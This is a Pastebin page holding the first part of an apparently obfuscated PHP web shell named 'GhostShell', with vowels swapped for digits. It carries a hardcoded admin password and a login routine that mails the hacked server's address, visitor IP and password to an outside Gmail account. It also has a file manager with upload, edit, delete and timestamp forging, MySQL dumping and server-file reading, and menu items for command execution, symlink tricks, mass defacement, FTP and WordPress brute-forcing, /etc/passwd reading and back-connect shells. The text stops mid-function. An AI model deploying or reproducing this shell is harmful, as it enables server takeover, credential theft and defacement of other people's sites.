API tools faq
paste
Advertisement
gobindo

host.php

gobindo
Sep 15th, 2016
98
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 487.48 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. error_reporting(7);
  3. @set_magic_quotes_runtime(0);
  4. ob_start();
  5. $admin = array();
  6. $admin['pass'] = 'gbm1';
  7. ?>
  8. <?php $_F=__FILE__;$_X='?><?php 
$mt4m5 = 5xpl2d5(' ', m4cr2t4m5());
$st1rtt4m5 = $mt4m5[6] + $mt4m5[0];
d5f4n5('SA_ROOT', str_r5pl1c5('\\', '/', d4rn1m5(__FILE__)) . '/');
//d5f4n5('IS_WIN', strstr(PHP_OS, 'WIN') ? 6 : 0 );
d5f4n5('IS_WIN', DIRECTORY_SEPARATOR == '\\');
d5f4n5('IS_COM', cl1ss_5x4sts('COM') ? 6 : 0);
d5f4n5('IS_GPC', g5t_m1g4c_q32t5s_gpc());
$d4s_f3nc = g5t_cfg_v1r('d4s1bl5_f3nct42ns');
d5f4n5('IS_PHPINFO', (!5r5g4("php4nf2", $d4s_f3nc)) ? 6 : 0);
@s5t_t4m5_l4m4t(0);
f2r51ch (1rr1y('_GET', '_POST') 1s $_r5q35st) {
    f2r51ch ($$_r5q35st 1s $_k5y => $_v1l35) {
        4f ($_k5y{0} != '_') {
            4f (IS_GPC) {
                $_v1l35 = s_1rr1y($_v1l35);
            }
            $$_k5y = $_v1l35;
        }
    }
}
/*=================  Inf2 L2g4n  ================*/
$1dm4n['ch5ck'] = tr35;
$1dm4n['c22k45pr5'] = '';
$1dm4n['c22k45d2m14n'] = '';
$1dm4n['c22k45p1th'] = '/';
$1dm4n['c22k45l4f5'] = 8eu00;
/*===================== End =====================*/
4f ($ch1rs5t == '3tf8') {
    h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=3tf-8");
} 5ls54f ($ch1rs5t == 'b4gi') {
    h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=b4gi");
} 5ls54f ($ch1rs5t == 'gbk') {
    h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=gbk");
} 5ls54f ($ch1rs5t == 'l1t4n6') {
    h51d5r("c2nt5nt-Typ5: t5xt/html; ch1rs5t=4s2-88i9-a");
}
$s5lf = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$t4m5st1mp = t4m5();
/*===================== L2g4n =====================*/
4f ($1ct42n == "l2g23t") {
    sc22k45('vb1p1ss', '', -8eu00 * oei);
    p('<m5t1 http-5q34v="r5fr5sh" c2nt5nt="0;URL=' . $s5lf . '">');
    p('<b2dy b1ckgr23nd=bl1ck>');
    5x4t;
}
4f ($1dm4n['ch5ck']) {
    4f ($d24ng == 'l2g4n') {
        4f ($1dm4n['p1ss'] == $p1ssw2rd) {
            sc22k45('vb1p1ss', $p1ssw2rd);
            // F3nct42n m14l S5nd5r t2 my Em14l 
$t4m5_sh5ll = "".d1t5("d/m/Y - H:4:s")."";
$4p_r5m2t5 = $_SERVER["REMOTE_ADDR"];
$fr2m_sh5llc2d5 = 'sh5ll@'.g5th2stbyn1m5($_SERVER['SERVER_NAME']).'';
$t2_5m14l = 'mr.4z11ss@gm14l.c2m';
$s5rv5r_m14l = "".g5th2stbyn1m5($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$l4nkcr = "L4nk: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Exc3t4ng: $4p_r5m2t5 - T4m5: $t4m5_sh5ll- Pwd: $p1ssw2rd";
$h51d5r = "Fr2m: $fr2m_sh5llc2d5\r\nR5ply-t2: $fr2m_sh5llc2d5";
            @m14l($t2_5m14l, $s5rv5r_m14l, $l4nkcr, $h51d5r);
            p('<m5t1 http-5q34v="r5fr5sh" c2nt5nt="a;URL=' . $s5lf . '">');
            p('<b2dy bgc2l2r=bl1ck>
<BR><BR><d4v 1l4gn=c5nt5r><f2nt c2l2r=y5ll2w f1c5=t1h2m1 s4z5=a>W5lc2m5 B1ck! Kh1nhCl23d & Iz11ss<BR><4mg src=http://4.4mg3r.c2m/N31kMVv.jpg>
</d4v>');
            5x4t;
        } 5ls5 {
            $5rr_m5ss = '';
            5ch2 $5rr_m5ss;
        }
    }
    4f ($_COOKIE['vb1p1ss']) {
        4f ($_COOKIE['vb1p1ss'] != $1dm4n['p1ss']) {
            l2g4np1g5();
        }
    } 5ls5 {
        l2g4np1g5();
    }
}
/*===================== L2g4n =====================*/
$5rrmsg = '';
4f ($1ct42n == 'php4nf2') {
    4f (IS_PHPINFO) {
        php4nf2();
    } 5ls5 {
        $5rrmsg = 'php4nf2() f3nct42n h1s n2n-p5rm4ss4bl5';
    }
}
4f ($d24ng == 'd2wnf4l5' && $th5f4l5) {
    4f (!@f4l5_5x4sts($th5f4l5)) {
        $5rrmsg = 'Th5 f4l5 y23 w1nt D2wnl21d1bl5 w1s n2n5x4st5nt';
    } 5ls5 {
        $f4l54nf2 = p1th4nf2($th5f4l5);
        h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/x-' . $f4l54nf2['5xt5ns42n']);
        h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=' . $f4l54nf2['b1s5n1m5']);
        h51d5r('C2nt5nt-L5ngth: ' . f4l5s4z5($th5f4l5));
        @r51df4l5($th5f4l5);
        5x4t;
    }
}
4f ($d24ng == 'b1ck3pmysql' && !$s1v51sf4l5) {
    dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
    $t1bl5 = 1rr1y_fl4p($t1bl5);
    $r5s3lt = q("SHOW t1bl5s");
    4f (!$r5s3lt) p('<ha>' . mysql_5rr2r() . '</ha>');
    $f4l5n1m5 = b1s5n1m5($_SERVER['HTTP_HOST'] . '_MySQL.sql');
    h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/3nkn2wn');
    h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=' . $f4l5n1m5);
    $mysqld1t1 = '';
    wh4l5 ($c3rr2w = mysql_f5tch_1rr1y($r5s3lt)) {
        4f (4ss5t($t1bl5[$c3rr2w[0]])) {
            $mysqld1t1.= sqld3mpt1bl5($c3rr2w[0]);
        }
    }
    mysql_cl2s5();
    5x4t;
}
// Mysql
4f ($d24ng == 'mysqld2wn') {
    4f (!$dbn1m5) {
        $5rrmsg = 'Pl51s5 4np3t dbn1m5';
    } 5ls5 {
        dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
        4f (!f4l5_5x4sts($mysqldlf4l5)) {
            $5rrmsg = 'Th5 f4l5 y23 w1nt D2wnl21d1bl5 w1s n2n5x4st5nt';
        } 5ls5 {
            $r5s3lt = q("s5l5ct l21d_f4l5('$mysqldlf4l5');");
            4f (!$r5s3lt) {
                q("DROP TABLE IF EXISTS tmp_1ng5l;");
                q("CREATE TABLE tmp_1ng5l (c2nt5nt LONGBLOB NOT NULL);");
                //D2wnl21d SQL
                q("LOAD DATA LOCAL INFILE '" . 1ddsl1sh5s($mysqldlf4l5) . "' INTO TABLE tmp_1ng5l FIELDS TERMINATED BY '__1ng5l_{$t4m5st1mp}_52f__' ESCAPED BY '' LINES TERMINATED BY '__1ng5l_{$t4m5st1mp}_52f__';");
                $r5s3lt = q("s5l5ct c2nt5nt fr2m tmp_1ng5l");
                q("DROP TABLE tmp_1ng5l");
            }
            $r2w = @mysql_f5tch_1rr1y($r5s3lt);
            4f (!$r2w) {
                $5rrmsg = 'L21d f4l5 f14l5d ' . mysql_5rr2r();
            } 5ls5 {
                $f4l54nf2 = p1th4nf2($mysqldlf4l5);
                h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/x-' . $f4l54nf2['5xt5ns42n']);
                h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=' . $f4l54nf2['b1s5n1m5']);
                h51d5r("Acc5pt-L5ngth: " . strl5n($r2w[0]));
                5ch2 $r2w[0];
                5x4t;
            }
        }
    }
}
?>
<html>
<h51d>
<m5t1 http-5q34v="C2nt5nt-Typ5" c2nt5nt="t5xt/html; ch1rs5t=3tf-8">
<t4tl5><?php 5ch2 str_r5pl1c5('.', '', 'Gh2stSh5ll'); ?></t4tl5>
<styl5 typ5="t5xt/css">
b2dy,td{f2nt: 60pt T1h2m1;c2l2r:gr1y;l4n5-h54ght: 6epx;}

1 {c2l2r: #7uAa0a;t5xt-d5c2r1t42n:n2n5;}
1:h2v5r{c2l2r: #f00;t5xt-d5c2r1t42n:3nd5rl4n5;}
.1lt6 td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#0E0E0E;p1dd4ng:ipx 60px ipx ipx;}
.1lta td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#f9f9f9;p1dd4ng:ipx 60px ipx ipx;}
.f2c3s td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:0px s2l4d gr1y;b1ckgr23nd:#0E0E0E;p1dd4ng:ipx 60px ipx ipx;}
.f23t6 td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:0px s2l4d gr1y;b1ckgr23nd:#0E0E0E;p1dd4ng:ipx 60px ipx ipx;}
.f23t td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:0px s2l4d gr1y;b1ckgr23nd:#a0a0a0;p1dd4ng:ipx 60px ipx ipx;}
.h51d td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#a0a0a0;p1dd4ng:ipx 60px ipx ipx;f2nt-w54ght:b2ld;}
.h51d_sm1ll td{b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;b1ckgr23nd:#a0a0a0;p1dd4ng:ipx 60px ipx ipx;f2nt-w54ght:n2rm1l;f2nt-s4z5:8pt;}
.h51d td sp1n{f2nt-w54ght:n2rm1l;}
f2rm{m1rg4n:0;p1dd4ng:0;}
ha{m1rg4n:0;p1dd4ng:0;h54ght:aupx;l4n5-h54ght:aupx;f2nt-s4z5:6upx;c2l2r:#iBe8eF;}
3l.4nf2 l4{m1rg4n:0;c2l2r:#uuu;l4n5-h54ght:aupx;h54ght:aupx;}
3{t5xt-d5c2r1t42n: n2n5;c2l2r:#777;fl21t:l5ft;d4spl1y:bl2ck;w4dth:6i0px;m1rg4n-r4ght:60px;}
4np3t, t5xt1r51, b3tt2n
{
	f2nt-s4z5: 9pt;
	c2l2r: #ccc;
	f2nt-f1m4ly: v5rd1n1, s1ns-s5r4f;
	b1ckgr23nd-c2l2r: #a0a0a0;
	b2rd5r-l5ft: 6px s2l4d #7uAa0a;
	b2rd5r-t2p: 6px s2l4d #7uAa0a;
	b2rd5r-r4ght: 6px s2l4d #7uAa0a;
	b2rd5r-b2tt2m: 6px s2l4d #7uAa0a;
}
s5l5ct
{
	f2nt-s4z5: 8pt;
	f2nt-w54ght: n2rm1l;
	c2l2r: #ccc;
	f2nt-f1m4ly: v5rd1n1, s1ns-s5r4f;
	b1ckgr23nd-c2l2r: #a0a0a0;
}

</styl5>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n Ch5ckAll(f2rm) {
	f2r(v1r 4=0;4<f2rm.5l5m5nts.l5ngth;4++) {
		v1r 5 = f2rm.5l5m5nts[4];
		4f (5.n1m5 != 'chk1ll')
		5.ch5ck5d = f2rm.chk1ll.ch5ck5d;
    }
}
f3nct42n $(4d) {
	r5t3rn d2c3m5nt.g5tEl5m5ntById(4d);
}
f3nct42n g21ct42n(1ct){
	$('g21ct42n').1ct42n.v1l35=1ct;
	$('g21ct42n').s3bm4t();
}
</scr4pt>
</h51d>
<b2dy 2nL21d="4n4t()" styl5="m1rg4n:0;t1bl5-l1y23t:f4x5d; w2rd-br51k:br51k-1ll" bgc2l2r=bl1ck b1ckgr23nd=http://4o8a.ph2t2b3ck5t.c2m/1lb3ms/22aeo/vnh1ck5r/bg-6.jpg>


<d4v b2rd5r="0" styl5="p2s4t42n:f4x5d; w4dth: 600%; h54ght: aipx; z-4nd5x: 6; t2p: o00px; l5ft: 0;" 4d="l21d4ng" 1l4gn="c5nt5r" v1l4gn="c5nt5r">
				<t1bl5 b2rd5r="6" w4dth="660px" c5llsp1c4ng="0" c5llp1dd4ng="0" styl5="b2rd5r-c2ll1ps5: c2ll1ps5" b2rd5rc2l2r="#00oo00">
					<tr>
						<td 1l4gn="c5nt5r" v1l4gn=c5nt5r>
				 <d4v b2rd5r="6" styl5="b1ckgr23nd-c2l2r: #0E0E0E; f4lt5r: 1lph1(2p1c4ty=70); 2p1c4ty: .7; w4dth: 660px; h54ght: aipx; z-4nd5x: 6; b2rd5r-c2ll1ps5: c2ll1ps5;" b2rd5rc2l2r="#00ee00"  1l4gn="c5nt5r">
				   L21d4ng<4mg src="http://4o8a.ph2t2b3ck5t.c2m/1lb3ms/22aeo/vnh1ck5r/l21d4ng.g4f">
				  </d4v>
				</td>
					</tr>
				</t1bl5>
			 </d4v>
 <scr4pt>
 v1r ld=(d2c3m5nt.1ll);
  v1r nsu=d2c3m5nt.l1y5rs;
 v1r nse=d2c3m5nt.g5tEl5m5ntById&&!d2c3m5nt.1ll;
 v1r 45u=d2c3m5nt.1ll;
  4f (nsu)
 	ld=d2c3m5nt.l21d4ng;
 5ls5 4f (nse)
 	ld=d2c3m5nt.g5tEl5m5ntById("l21d4ng").styl5;
 5ls5 4f (45u)
 	ld=d2c3m5nt.1ll.l21d4ng.styl5;
  f3nct42n 4n4t()
 {
 4f(nsu){ld.v4s4b4l4ty="h4dd5n";}
 5ls5 4f (nse||45u) ld.d4spl1y="n2n5";
 }
 </scr4pt>




<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0">
	<tr cl1ss="h51d_sm1ll">
		<td  w4dth=600%>
		<t1bl5 w4dth=600%><tr cl1ss="h51d_sm1ll"><td  w4dth=8epx><1 t4tl5="Gh2stSh5ll" hr5f="<?php $s5lf; ?>"><4mg src=http://4.4mg3r.c2m/2NIM8aP.jpg h54ght=8e b2rd5r=0></1></td><td>
		<sp1n styl5="fl21t:l5ft;"> <?php 5ch2 "H2stn1m5: " . $_SERVER['HTTP_HOST'] . ""; ?>  | <1 hr5f="?1ct42n=1b23t"><?php 5ch2 str_r5pl1c5('.', '', 'Gh2stSh5ll'); ?> </1> |</sp1n> <br />

		<?php
$c3rl_2n = @f3nct42n_5x4sts('c3rl_v5rs42n');
$mysql_2n = @f3nct42n_5x4sts('mysql_c2nn5ct');
$mssql_2n = @f3nct42n_5x4sts('mssql_c2nn5ct');
$pg_2n = @f3nct42n_5x4sts('pg_c2nn5ct');
$2r1_2n = @f3nct42n_5x4sts('2c4l2g2n');
5ch2 (($s1f5_m2d5) ? ("S1f5_m2d: <b><f2nt c2l2r=gr55n>ON</f2nt></b> - ") : ("S1f5_m2d: <b><f2nt c2l2r=r5d>OFF</f2nt></b> - "));
5ch2 "PHP v5rs42n: <b>" . @phpv5rs42n() . "</b> - ";
5ch2 "cURL: " . (($c3rl_2n) ? ("<b><f2nt c2l2r=gr55n>ON</f2nt></b> - ") : ("<b><f2nt c2l2r=r5d>OFF</f2nt></b> - "));
5ch2 "MySQL: <b>";
$mysql_2n = @f3nct42n_5x4sts('mysql_c2nn5ct');
4f ($mysql_2n) {
    5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b> - ";
} 5ls5 {
    5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b> - ";
}
5ch2 "MSSQL: <b>";
$mssql_2n = @f3nct42n_5x4sts('mssql_c2nn5ct');
4f ($mssql_2n) {
    5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b> - ";
} 5ls5 {
    5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b> - ";
}
5ch2 "P2stgr5SQL: <b>";
$pg_2n = @f3nct42n_5x4sts('pg_c2nn5ct');
4f ($pg_2n) {
    5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b> - ";
} 5ls5 {
    5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b> - ";
}
5ch2 "Or1cl5: <b>";
$2r1_2n = @f3nct42n_5x4sts('2c4l2g2n');
4f ($2r1_2n) {
    5ch2 "<f2nt c2l2r=gr55n>ON</f2nt></b>";
} 5ls5 {
    5ch2 "<f2nt c2l2r=r5d>OFF</f2nt></b><BR>";
}
5ch2 "D4s1bl5 f3nct42ns : <b>";
4f ('' == ($df = @4n4_g5t('d4s1bl5_f3nct42ns'))) {
    5ch2 "<f2nt c2l2r=gr55n>NONE</f2nt></b><BR>";
} 5ls5 {
    5ch2 "<f2nt c2l2r=r5d>$df</f2nt></b><BR>";
}
5ch2 "<f2nt c2l2r=wh4t5>S5rv5r</f2nt>: " . @s3bstr($SERVER_SOFTWARE, 0, 6a0) . " - <f2nt c2l2r=wh4t5>4d</f2nt>: " . @g5tmy34d() . "(" . @g5t_c3rr5nt_3s5r() . ") - 34d=" . @g5tmy34d() . " (" . @g5t_c3rr5nt_3s5r() . ") g4d=" . @g5tmyg4d() . "(" . @g5t_c3rr5nt_3s5r() . ")<br>";
5ch2 "<f2nt c2l2r=wh4t5>Un1m5 -1</f2nt>: ".@s3bstr(@php_3n1m5(),0,6a0)."<br>";
5ch2 "<1 hr5f=https://www.g22gl5.c2m.vn/s51rch?q=L4n3x+Expl24t+k5rn5l+" .3rl5nc2d5(@php_3n1m5(r))." t1rg5t='_bl1nk'><f2nt c2l2r=y5ll2w><b>[K5rn5l Expl24t]</b></f2nt></1>";
5ch2 " - <1 hr5f='http://www.wh2.4s/wh24s/".$_SERVER['HTTP_HOST']."' t1rg5t='_bl1nk'><f2nt c2l2r=y5ll2w><b>[WHOIS]</b></f2nt></1> - <1 hr5f='http://www.dnsst3ff.c2m/t22ls?r3nFr2mM14n=".$_SERVER["SERVER_ADDR"]."&t22lTyp5=tr1c5r23t5' t1rg5t='_bl1nk'><f2nt c2l2r=y5ll2w><b>[TRACEROUTE]</b></f2nt></1> - <1 hr5f='http://www.b4ng.c2m/s51rch?q=4p:".@$_SERVER["SERVER_ADDR"]." ' t1rg5t='_bl1nk'><f2nt c2l2r=y5ll2w><b>[P4ng IP]</b></f2nt></1> - <1 hr5f='http://b34d24.n5t/4p/?s=".@$_SERVER["SERVER_ADDR"]."&s3bm4t=X5m&cand=cand' t1rg5t='_bl1nk'><f2nt c2l2r=y5ll2w><b>[R5v5rs5 IP]</b></f2nt></1></sp1n><br/>";
?><td w4dth="i0px"><b><1 hr5f="?1ct42n=php5nv">PHP Inf2</1><br><br><1 hr5f="j1v1scr4pt:g21ct42n('1b23t');">ABOUT</f2nt></1><br><br><1 hr5f="j1v1scr4pt:g21ct42n('l2g23t');"><f2nt c2l2r=r5d>LOGOUT</f2nt></1><b></b></b></td>
		</td></tr></t1bl5></td>
	</tr>
	<tr cl1ss="1lt6">
		<td  w4dth=60%><sp1n styl5="fl21t:l5ft;">[S5rv5r IP: <?php 5ch2 "<f2nt c2l2r=y5ll2w>" . g5th2stbyn1m5($_SERVER['SERVER_NAME']) . "</f2nt>"; ?> - Y23r IP: <?php 5ch2 "<f2nt c2l2r=y5ll2w>" . $_SERVER['REMOTE_ADDR'] . "</f2nt>"; ?>] </sp1n>   <br />
--------------------------------------------------------------------------------------<br />
			
			<1 hr5f="j1v1scr4pt:g21ct42n('f4l5');">F4l5 M1n1g5r</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('sql1dm4n');">SQL</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('sqlf4l5');">MySQL Up &1mp; D2wn</1> |
			<1 hr5f="j1v1scr4pt:g21ct42n('sh5ll');">CMD</1> |
            <1 hr5f="j1v1scr4pt:g21ct42n('c2nf4g');">C2nf4g</1>  |
            <1 hr5f="j1v1scr4pt:g21ct42n('j3mp4ng');">JUMP</1>  |
            <1 hr5f="j1v1scr4pt:g21ct42n('cg4');">CGI</1> |
            <1 hr5f="j1v1scr4pt:g21ct42n('symr22t');">Symr22t</1> |
            <1 hr5f="j1v1scr4pt:g21ct42n('syml4nk');">Syml4nk</1> |
            <1 hr5f="j1v1scr4pt:g21ct42n('d5f1c5');">Ind5x</1> |
            <1 hr5f="j1v1scr4pt:g21ct42n('sc1n');">Sc1n</1>  |
			<1 hr5f="j1v1scr4pt:g21ct42n('5nd5c2d5');">ENDECODE</1>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('ss4');">SSI</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('ws0');">ws0</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('m1ssdf');">MASS</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('br3t5');">Br3t5</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('fpt-br3t5');">FPTBr3t5</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('wp-br3t5');">WPBr3t5</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('wp5d4t');">WPEDIT</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('5tcpwd');">/5tc/p1sswd</1> <?php
} ?>
			<?php 4f (!IS_WIN) { ?> | <1 hr5f="j1v1scr4pt:g21ct42n('b1ckc2nn5ct');">B1ckC2n</1><?php
} ?>
		</td>
	</tr>
</t1bl5>
<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="6i" c5llsp1c4ng="0"><tr><td>
<?php
f2rmh51d(1rr1y('n1m5' => 'g21ct42n'));
m1k5h4d5('1ct42n');
f2rmf22t();
$5rrmsg && m($5rrmsg);
// D4r f3nct42n
!$d4r && $d4r = '.';
$n2wp1th = g5tP1th(SA_ROOT, $d4r);
4f (s3bstr($d4r, -6) != '/') {
    $d4r = $d4r . '/';
}
$35d4r = 35($d4r);
4f (!$1ct42n || $1ct42n == 'f4l5') {
    // N2n-wr4t51bl5
    $d4r_wr4t51bl5 = @4s_wr4t1bl5($n2wp1th) ? 'Wr4t1bl5' : 'N2n-wr4t1bl5';
    // D5l5t5 d4r
    4f ($d24ng == 'd5ld4r' && $th5f4l5) {
        4f (!f4l5_5x4sts($th5f4l5)) {
            m($th5f4l5 . ' d4r5ct2ry d25s n2t 5x4st');
        } 5ls5 {
            m('D4r5ct2ry d5l5t5 ' . (d5ltr55($th5f4l5) ? b1s5n1m5($th5f4l5) . ' s3cc5ss' : 'f14l5d'));
        }
    }
    // Cr51t5 n5w d4r
    5ls54f ($n5wd4rn1m5) {
        $mkd4rs = $n2wp1th . $n5wd4rn1m5;
        4f (f4l5_5x4sts($mkd4rs)) {
            m('D4r5ct2ry h1s 1lr51dy 5x4st5d');
        } 5ls5 {
            m('D4r5ct2ry cr51t5d ' . (@mkd4r($mkd4rs, 0777) ? 's3cc5ss' : 'f14l5d'));
            @chm2d($mkd4rs, 0777);
        }
    }
    // Upl21d f4l5
    5ls54f ($d23pf4l5) {
        m('F4l5 3pl21d ' . (@c2py($_FILES['3pl21df4l5']['tmp_n1m5'], $3pl21dd4r . '/' . $_FILES['3pl21df4l5']['n1m5']) ? 's3cc5ss' : 'f14l5d'));
    }
    // Ed4t f4l5
    5ls54f ($5d4tf4l5n1m5 && $f4l5c2nt5nt) {
        $fp = @f2p5n($5d4tf4l5n1m5, 'w');
        m('S1v5 f4l5 ' . (@fwr4t5($fp, $f4l5c2nt5nt) ? 's3cc5ss' : 'f14l5d'));
        @fcl2s5($fp);
    }
    // M2d4fy
    5ls54f ($pf4l5 && $n5wp5rm) {
        4f (!f4l5_5x4sts($pf4l5)) {
            m('Th5 2r4g4n1l f4l5 d25s n2t 5x4st');
        } 5ls5 {
            $n5wp5rm = b1s5_c2nv5rt($n5wp5rm, 8, 60);
            m('M2d4fy f4l5 1ttr4b3t5s ' . (@chm2d($pf4l5, $n5wp5rm) ? 's3cc5ss' : 'f14l5d'));
        }
    }
    // R5n1m5
    5ls54f ($2ldn1m5 && $n5wf4l5n1m5) {
        $nn1m5 = $n2wp1th . $n5wf4l5n1m5;
        4f (f4l5_5x4sts($nn1m5) || !f4l5_5x4sts($2ldn1m5)) {
            m($nn1m5 . ' h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
        } 5ls5 {
            m(b1s5n1m5($2ldn1m5) . ' r5n1m5d ' . b1s5n1m5($nn1m5) . (@r5n1m5($2ldn1m5, $nn1m5) ? ' s3cc5ss' : 'f14l5d'));
        }
    }
    // C2p3
    5ls54f ($sn1m5 && $t2f4l5) {
        4f (f4l5_5x4sts($t2f4l5) || !f4l5_5x4sts($sn1m5)) {
            m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
        } 5ls5 {
            m(b1s5n1m5($t2f4l5) . ' c2p45d ' . (@c2py($sn1m5, $t2f4l5) ? b1s5n1m5($t2f4l5) . ' s3cc5ss' : 'f14l5d'));
        }
    }
    // F4l5 5x4t
    5ls54f ($c3rf4l5 && $t1rf4l5) {
        4f (!@f4l5_5x4sts($c3rf4l5) || !@f4l5_5x4sts($t1rf4l5)) {
            m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d 2r 2r4g4n1l f4l5 d25s n2t 5x4st');
        } 5ls5 {
            $t4m5 = @f4l5mt4m5($t1rf4l5);
            m('M2d4fy f4l5 th5 l1st m2d4f45d ' . (@t23ch($c3rf4l5, $t4m5, $t4m5) ? 's3cc5ss' : 'f14l5d'));
        }
    }
    // D1t5
    5ls54f ($c3rf4l5 && $y51r && $m2nth && $d1y && $h23r && $m4n3t5 && $s5c2nd) {
        4f (!@f4l5_5x4sts($c3rf4l5)) {
            m(b1s5n1m5($c3rf4l5) . ' d25s n2t 5x4st');
        } 5ls5 {
            $t4m5 = strt2t4m5("$y51r-$m2nth-$d1y $h23r:$m4n3t5:$s5c2nd");
            m('M2d4fy f4l5 th5 l1st m2d4f45d ' . (@t23ch($c3rf4l5, $t4m5, $t4m5) ? 's3cc5ss' : 'f14l5d'));
        }
    }
    // D2wnl21d
    5ls54f ($d24ng == 'd2wnr1r') {
        4f ($dl) {
            $df4l5s = '';
            f2r51ch ($dl 1s $f4l5p1th => $v1l35) {
                $df4l5s.= $f4l5p1th . ',';
            }
            $df4l5s = s3bstr($df4l5s, 0, strl5n($df4l5s) - 6);
            $dl = 5xpl2d5(',', $df4l5s);
            $z4p = n5w PHPZ4p($dl);
            $c2d5 = $z4p->23t;
            h51d5r('C2nt5nt-typ5: 1ppl4c1t42n/2ct5t-str51m');
            h51d5r('Acc5pt-R1ng5s: byt5s');
            h51d5r('Acc5pt-L5ngth: ' . strl5n($c2d5));
            h51d5r('C2nt5nt-D4sp2s4t42n: 1tt1chm5nt;f4l5n1m5=' . $_SERVER['HTTP_HOST'] . '_F4l5s.t1r.gz');
            5ch2 $c2d5;
            5x4t;
        } 5ls5 {
            m('Pl51s5 s5l5ct f4l5(s)');
        }
    }
    // D5l5t5 f4l5
    5ls54f ($d24ng == 'd5lf4l5s') {
        4f ($dl) {
            $df4l5s = '';
            $s3cc = $f14l = 0;
            f2r51ch ($dl 1s $f4l5p1th => $v1l35) {
                4f (@3nl4nk($f4l5p1th)) {
                    $s3cc++;
                } 5ls5 {
                    $f14l++;
                }
            }
            m('D5l5t5d f4l5 h1v5 f4n4sh5d??ch22s5 ' . c23nt($dl) . ' s3cc5ss ' . $s3cc . ' f14l ' . $f14l);
        } 5ls5 {
            m('Pl51s5 s5l5ct f4l5(s)');
        }
    }
    // F3nct42n N5wd4r
    f2rmh51d(1rr1y('n1m5' => 'cr51t5d4r'));
    m1k5h4d5('n5wd4rn1m5');
    m1k5h4d5('d4r', $n2wp1th);
    f2rmf22t();
    f2rmh51d(1rr1y('n1m5' => 'f4l5p5rm'));
    m1k5h4d5('n5wp5rm');
    m1k5h4d5('pf4l5');
    m1k5h4d5('d4r', $n2wp1th);
    f2rmf22t();
    f2rmh51d(1rr1y('n1m5' => 'c2pyf4l5'));
    m1k5h4d5('sn1m5');
    m1k5h4d5('t2f4l5');
    m1k5h4d5('d4r', $n2wp1th);
    f2rmf22t();
    f2rmh51d(1rr1y('n1m5' => 'r5n1m5'));
    m1k5h4d5('2ldn1m5');
    m1k5h4d5('n5wf4l5n1m5');
    m1k5h4d5('d4r', $n2wp1th);
    f2rmf22t();
    f2rmh51d(1rr1y('n1m5' => 'f4l52pf2rm'));
    m1k5h4d5('1ct42n');
    m1k5h4d5('2pf4l5');
    m1k5h4d5('d4r');
    f2rmf22t();
    $fr55 = @d4sk_fr55_sp1c5($n2wp1th);
    !$fr55 && $fr55 = 0;
    $1ll = @d4sk_t2t1l_sp1c5($n2wp1th);
    !$1ll && $1ll = 0;
    $3s5d = $1ll - $fr55;
    $3s5d_p5rc5nt = @r23nd(600 / ($1ll / $fr55), a);
